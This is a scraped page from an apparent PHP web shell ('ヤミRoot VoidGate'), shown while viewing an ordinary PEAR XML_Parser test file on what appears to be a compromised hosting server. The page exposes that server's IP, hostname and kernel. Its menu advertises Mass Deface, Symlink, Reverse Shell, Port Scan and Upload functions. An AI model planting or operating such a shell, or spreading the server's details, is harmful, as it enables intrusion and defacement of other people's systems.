ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
php
/
tests
/
XML_Parser
/
tests
/
Viewing: bug-9328c.phpt
--TEST-- XML Parser: test for Bug #9328 "assigned by reference error in XML_RSS parse" --SKIPIF-- <?php if (version_compare(PHP_VERSION, '5.2.7', 'lt') || version_compare(PHP_VERSION, '5.2.9', 'gt') ) { print 'skip - test only applies to PHP5.2.7 through 5.2.9'; } if (!extension_loaded('xml')) { print 'skip - xml extension not available'; } /* * can't test if XML_RSS is not installed */ $originalErrorReporting = error_reporting(); error_reporting(E_ALL & ~E_WARNING); if (false == (include_once 'XML/RSS.php')) { print('skip - XML_RSS is not installed'); } error_reporting($originalErrorReporting); ?> --FILE-- <?php /* * this issue only exists in PHP4 */ require_once 'XML/RSS.php'; $url = 'www.someverybogusurl.thisisnotatld'; $rss = new XML_RSS($url); $error = $rss->parse(); echo $error->getMessage() . PHP_EOL; ?> --EXPECT-- XML_Parser: Invalid document end at XML input line 1:1
Coded With 💗 by
0x6ick